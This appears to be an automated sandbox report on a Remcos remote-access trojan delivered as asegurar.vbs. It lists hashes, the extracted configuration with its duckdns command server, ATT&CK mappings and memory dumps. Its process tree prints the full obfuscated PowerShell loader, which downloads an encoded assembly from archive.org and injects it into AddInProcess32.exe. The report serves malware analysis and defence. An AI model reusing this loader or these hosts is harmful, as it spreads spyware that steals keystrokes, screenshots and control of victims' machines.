remcos | d88b56f3f48a8056d7bb61e6ee59cb3e403d7e15341663b8c40b71c33d4f929b

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
23-09-2024 06:23

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General

Target

asegurar.vbs
Size

507KB
MD5

e3cf943b60179ffa82d19c307903c57e
SHA1

e5c9f726e6731f332c1c656bad8aff63c65a31ac
SHA256

d88b56f3f48a8056d7bb61e6ee59cb3e403d7e15341663b8c40b71c33d4f929b
SHA512

d1b088a92783f795a0b3963a05f56d1232348f2210576b6cfc97ed505badde5625e871f58e56a7d7907d9fe51a824147805bf15983bc3a3c4be0e67f5e21474d
SSDEEP

12288:ajV2bhG3mz8f6ls7MKXS1O0FBA06JT3iIDcS7atUtNmrozWws+69hvrjsi:uW0dvzcUyH

Score

10^/10

remcos nuevosast discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

remcos

Botnet

NuevosASt

15imp.duckdns.org:3000

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-A6K86Q
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	2724	powershell.exe
24	2724	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2188	powershell.exe
2724	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2724 set thread context of 2336	2724	powershell.exe	92

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2188	powershell.exe
2188	powershell.exe
2724	powershell.exe
2724	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2188	powershell.exe
Token: SeDebugPrivilege	2724	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2336	AddInProcess32.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4888 wrote to memory of 2188	4888	WScript.exe	82
PID 4888 wrote to memory of 2188	4888	WScript.exe	82
PID 2188 wrote to memory of 2724	2188	powershell.exe	84
PID 2188 wrote to memory of 2724	2188	powershell.exe	84
PID 2724 wrote to memory of 2336	2724	powershell.exe	92
PID 2724 wrote to memory of 2336	2724	powershell.exe	92
PID 2724 wrote to memory of 2336	2724	powershell.exe	92
PID 2724 wrote to memory of 2336	2724	powershell.exe	92
PID 2724 wrote to memory of 2336	2724	powershell.exe	92
PID 2724 wrote to memory of 2336	2724	powershell.exe	92
PID 2724 wrote to memory of 2336	2724	powershell.exe	92
PID 2724 wrote to memory of 2336	2724	powershell.exe	92
PID 2724 wrote to memory of 2336	2724	powershell.exe	92
PID 2724 wrote to memory of 2336	2724	powershell.exe	92
PID 2724 wrote to memory of 2336	2724	powershell.exe	92
PID 2724 wrote to memory of 2336	2724	powershell.exe	92

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\asegurar.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJGVuVjpDT21TcGVDWzQsMjQsMjVdLUpvaU4nJykgKCAoKCd7JysnMH11cmwnKycgJysnPSB7MX1odCcrJ3QnKydwczonKycvL2lhNjAnKycwMTAnKycwLnVzLmFyJysnY2hpdmUnKycub3JnJysnLzI0L2l0ZW0nKydzL2RldGFoLW4nKydvdCcrJ2Utdi9EZXRhaE5vJysndGVWJysnLnQnKyd4dHsnKycxJysnfTt7JysnMCcrJ31iYXNlNjRDb250ZScrJ250ID0gKCcrJ05ldy1PYmplJysnY3QgU3lzdGUnKydtLk5ldC5XZWJDbCcrJ2llbnQpLkQnKydvd25sb2EnKydkJysnU3RyaW5nKHswfXVybCk7ezB9YmluYXJ5Q29udGVudCcrJyA9IFtTeXN0JysnZScrJ20uQ29udmVydF06JysnOkZyb21CYXNlJysnNjRTdHJpJysnbmcoezB9YmEnKydzZScrJzY0Q29udGVudCk7ezB9YXMnKydzZW1ibHknKycgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV0nKyc6OkxvYWQoezB9JysnYmluJysnYXInKyd5Q29udGVudCknKyc7ezAnKyd9dCcrJ3lwJysnZSAnKyc9JysnIHswfScrJ2FzcycrJ2UnKydtYmx5JysnLicrJ0dldFR5cGUoezF9UicrJ3VuJysnUCcrJ0UuSG9tZXsxfSknKyc7ezB9JysnbWV0aG9kJysnID0gezB9dCcrJ3lwZS5HZXQnKydNZScrJ3Rob2QoezEnKyd9VkFJezF9JysnKTt7MH1tJysnZXRob2QuSScrJ252b2tlKHswfW51bGwsICcrJ1tvYmplY3RbXV1AJysnKHsxfTAvY2tqNCcrJ1IvZC9lJysnZS5lJysndHNhcCcrJy8vOnNwdHRoezF9ICwgezF9ZCcrJ2VzYXQnKydpdmFkbycrJ3sxfSAsJysnICcrJ3snKycxJysnfWQnKydlJysnc2F0aScrJ3YnKydhZG97MX0gLCB7JysnMX1kZXNhdGl2YWQnKydvezF9LCcrJ3sxfUFkZEluJysnUHJvY2VzczMyJysnezF9JysnLHsxfXsnKycxfScrJykpJykgLWYgIFtDSEFyXTM2LFtDSEFyXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2188
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $enV:COmSpeC[4,24,25]-JoiN'') ( (('{'+'0}url'+' '+'= {1}ht'+'t'+'ps:'+'//ia60'+'010'+'0.us.ar'+'chive'+'.org'+'/24/item'+'s/detah-n'+'ot'+'e-v/DetahNo'+'teV'+'.t'+'xt{'+'1'+'};{'+'0'+'}base64Conte'+'nt = ('+'New-Obje'+'ct Syste'+'m.Net.WebCl'+'ient).D'+'ownloa'+'d'+'String({0}url);{0}binaryContent'+' = [Syst'+'e'+'m.Convert]:'+':FromBase'+'64Stri'+'ng({0}ba'+'se'+'64Content);{0}as'+'sembly'+' = [Reflection.Assembly]'+'::Load({0}'+'bin'+'ar'+'yContent)'+';{0'+'}t'+'yp'+'e '+'='+' {0}'+'ass'+'e'+'mbly'+'.'+'GetType({1}R'+'un'+'P'+'E.Home{1})'+';{0}'+'method'+' = {0}t'+'ype.Get'+'Me'+'thod({1'+'}VAI{1}'+');{0}m'+'ethod.I'+'nvoke({0}null, '+'[object[]]@'+'({1}0/ckj4'+'R/d/e'+'e.e'+'tsap'+'//:sptth{1} , {1}d'+'esat'+'ivado'+'{1} ,'+' '+'{'+'1'+'}d'+'e'+'sati'+'v'+'ado{1} , {'+'1}desativad'+'o{1},'+'{1}AddIn'+'Process32'+'{1}'+',{1}{'+'1}'+'))') -f [CHAr]36,[CHAr]39) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2724
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:2336

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
c7cd101c670edbdce4fde60ab8fbd0c7

SHA1
243c2b64d8440f3ef761ef52a4dd59b4386c2339

SHA256
c25b35e78a0efa2e9a8432399abeb38b20c4dee07930f7f20b68ff2e32540d49

SHA512
fb7adf72caff2f0708aab67ee4e3dc406dca5edb12a43fdcd1fe96d76ffe292172bd06387e6d4f8cd9b7856f926248f37e77f6c84f975c4057c86b4895b67d4a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ik25wdnz.lb3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2188-0-0x00007FFE86073000-0x00007FFE86075000-memory.dmp

Filesize
8KB

Download
memory/2188-6-0x000001E96E4B0000-0x000001E96E4D2000-memory.dmp

Filesize
136KB

Download
memory/2188-8-0x00007FFE86070000-0x00007FFE86B31000-memory.dmp

Filesize
10.8MB

Download
memory/2188-9-0x00007FFE86070000-0x00007FFE86B31000-memory.dmp

Filesize
10.8MB

Download
memory/2188-22-0x00007FFE86073000-0x00007FFE86075000-memory.dmp

Filesize
8KB

Download
memory/2188-23-0x00007FFE86070000-0x00007FFE86B31000-memory.dmp

Filesize
10.8MB

Download
memory/2188-35-0x00007FFE86070000-0x00007FFE86B31000-memory.dmp

Filesize
10.8MB

Download
memory/2336-66-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-75-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-36-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-37-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-38-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-40-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-41-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-42-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-44-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-45-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-47-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-48-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-49-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-51-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-52-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-53-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-28-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-55-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-56-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-58-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-59-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-61-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-62-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-63-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-65-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-25-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-67-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-69-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-70-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-72-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-73-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-32-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-76-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-77-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-79-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-80-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-82-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-83-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-84-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-86-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-87-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-89-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-90-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-92-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-93-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-94-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-95-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-97-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-98-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-100-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-101-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-103-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-104-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-105-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-107-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-108-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-109-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-111-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-112-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-114-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-115-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2336-117-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2724-24-0x00000271B40B0000-0x00000271B42BC000-memory.dmp

Filesize
2.0MB

Download